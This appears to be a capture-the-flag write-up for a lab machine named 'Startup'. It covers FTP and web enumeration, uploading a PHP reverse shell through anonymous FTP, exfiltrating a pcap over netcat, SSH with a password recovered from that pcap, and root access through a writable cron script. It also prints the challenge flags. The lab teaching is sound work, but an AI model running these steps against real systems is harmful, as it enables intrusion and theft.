Startup

by jon
completed on 02/18/2022

Target Information

I was given the IP Address 10.10.233.150 and the following questions to answer:

1. What is the secret spicy soup recipe?

2. What are the contents of user.txt?

3. What are the contents of root.txt?

Recon Phase

I started with a standard NMAP[1] scan of the given IP Address. Below is the command and the results from the scan:

```
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.10.233.150
```

```
Nmap scan report for 10.10.233.150
Host is up (0.21s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|     Connected to 10.6.109.108
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 1
|     vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
|   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_  256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
```

[1] Note: From http(s)://nmap.org/ -- Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing.

|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

There are 3 ports open according to the scan: Port 21 which is Open FTP (file transfer protocol), Port 22 which is open SSH, and Port 80 which is an open-facing webserver. I started with Port 21 to see if anonymous logins on FTP were enabled. To my surprise, anonymous logins are enabled, and I have permissions to upload and download files to the /ftp directory within the server. This means I can upload a PHP reverse shell but need a way to run the php file. I also sent a test file to confirm. Below are the findings from port 21:

```
┌──(kali㉿kali)-[~/Desktop/Startup]
└─$ ftp 10.10.233.150
Connected to 10.10.233.150.
220 (vsFTPd 3.0.3)
Name (10.10.233.150:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd ftp
250 Directory successfully changed.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||30633|)
150 Ok to send data.
     0        0.00 KiB/s
226 Transfer complete.
ftp>
```

I then moved to port [80] and ran GOBUSTER[2] for basic directory enumeration before visiting the site. Below is the command and results from GOBUSTER:

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.233.150/ -x php,html,txt -q -t 15 -w /usr/sh
are/wordlists/dirb/common.txt
```

/.htpasswd (Status: 403) [Size: 278]
/.htaccess.html (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]

[2] Note: From http(s)://www.kali.org/tools/gobuster/ -- Gobuster is a tool used to brute-force URIs including directories and files as well as DNS subdomains.

```
/.htpasswd.txt       (Status: 403) [Size: 278]
/.htaccess.txt       (Status: 403) [Size: 278]
/.hta.txt            (Status: 403) [Size: 278]
/.htpasswd.php       (Status: 403) [Size: 278]
/.htaccess           (Status: 403) [Size: 278]
/.hta.php            (Status: 403) [Size: 278]
/.htaccess.php       (Status: 403) [Size: 278]
/.htpasswd.html      (Status: 403) [Size: 278]
/.hta.html           (Status: 403) [Size: 278]
/files               (Status: 301) [Size: 314] [--> http://10.10.233.150/files/]
/index.html          (Status: 200) [Size: 808]
/index.html          (Status: 200) [Size: 808]
```

All the enumerated directories are standard except for /files which is where I can interact with stored files from the FTP server. This is where I can run my PHP reverse shell to exploit the server.

Exploitation Phase

I downloaded a php reverse shell from pentestmonkey and edited the required parameters to create a successful connection. I then ran netcat to listen on the specified port for a connection. Success!

```
┌──(kali㉿kali)-[~/Desktop/Startup]
└─$ nc -nvlp 33456
listening on [any] 33456 ...
```

Index of /files/ftp

Name	Last modified	Size	Description
Parent Directory		-	
rev.php	2022-02-18 17:13	5.4K	
test.txt	2022-02-18 16:57	0	

Apache/2.4.18 (Ubuntu) Server at 10.10.233.150 Port 80

```
55connect to [10.6.109.108] from (UNKNOWN) [10.10.233.150] 34442
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020
x86_64 x86_64 x86_64 GNU/Linux
 17:15:29 up 36 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

I ran some baseline checks for enumeration and found the answer to the first question <love>. Below are the results from my enumeration of www-data:

```
$ cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secr
et forever and told him it was love.
```

Enumeration:

whoami == www-data
id == uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls == found recipe.txt
ls -al == NTSR
sudo -l == no permissions
uname -a == Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/issue == Ubuntu 16.04.7 LTS \n \l
cat /etc/passwd == found users 'lennie' and 'vagrant'
ps aux == NTSR

I then looked at all the directories available to www-data and found an interesting file in the /incidents directory:

```
$ cd incidents
$ ls
suspicious.pcapng
```

I then downloaded this file to my host machine and began my analysis of it:

```
$ nc -w 3 10.6.109.108 8080 < suspicious.pcapng
```

```
┌──(kali㉿kali)-[~/Desktop/Startup]
└─$ nc -l -p 8080 > suspicious.pcapng
```

```
[sudo] password for www-data:
@       c4ntg3t3n0ughsp1c3
6%      @
Sorry, try again.
```

I found attempted password c4ntg3t3n0ughsp1c3 in the file when cleaning it up with the 'strings' function in linux. We now have the user 'lennie' and password to try in Port 22 which is SSH. Success! We are in as 'lennie':

```
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-190-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

44 packages can be updated.
30 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ whoami
lennie
```

Below are the results from my enumeration for 'lennie':
whoami == lennie
id == uid=1002(lennie) gid=1002(lennie) groups=1002(lennie)
ls -al == found directories 'Documents scripts user.txt'
sudo -l == no password
uname -a == Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/issue == N/A
cat /etc/passwd == N/A
ps aux == NTSR

Privilege Escalation

Now that I found the user.txt < THM{03ce3d619b80ccbfb3b7fc81e46c0e79}>, I need to get the root flag. The baseline checks did not reveal any obvious vectors for privilege escalation. I then began to look at all available directories to 'lennie' and found file planner.sh and startup_list.txt in the scripts directory. Analysis of planner.sh showed that it is a cronjob ran as root via print.sh! I checked for read-write priveleges for print.sh and it shows that I can write to it. I then created a reverse shell and pasted it into print.sh and opened a netcat listener on my host machine. Success! We are in as root! We are already in the root directory where root.txt is located < THM{f963aaa6a430f210222158ae15c3d76d}>.

```
┌──(kali㉿kali)-[~/Desktop/Startup]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.6.109.108] from (UNKNOWN) [10.10.233.150] 49554
bash: cannot set terminal process group (1955): Inappropriate ioctl for device
bash: no job control in this shell
root@startup:~#
```

This is the end of the challenge, so let's answer those questions.

Questions

1. What is the secret spicy soup recipe?
   love

2. What are the contents of user.txt?
   THM{03ce3d619b80ccbfb3b7fc81e46c0e79

3. What are the contents of root.txt?
   THM{f963aaa6a430f210222158ae15c3d76d}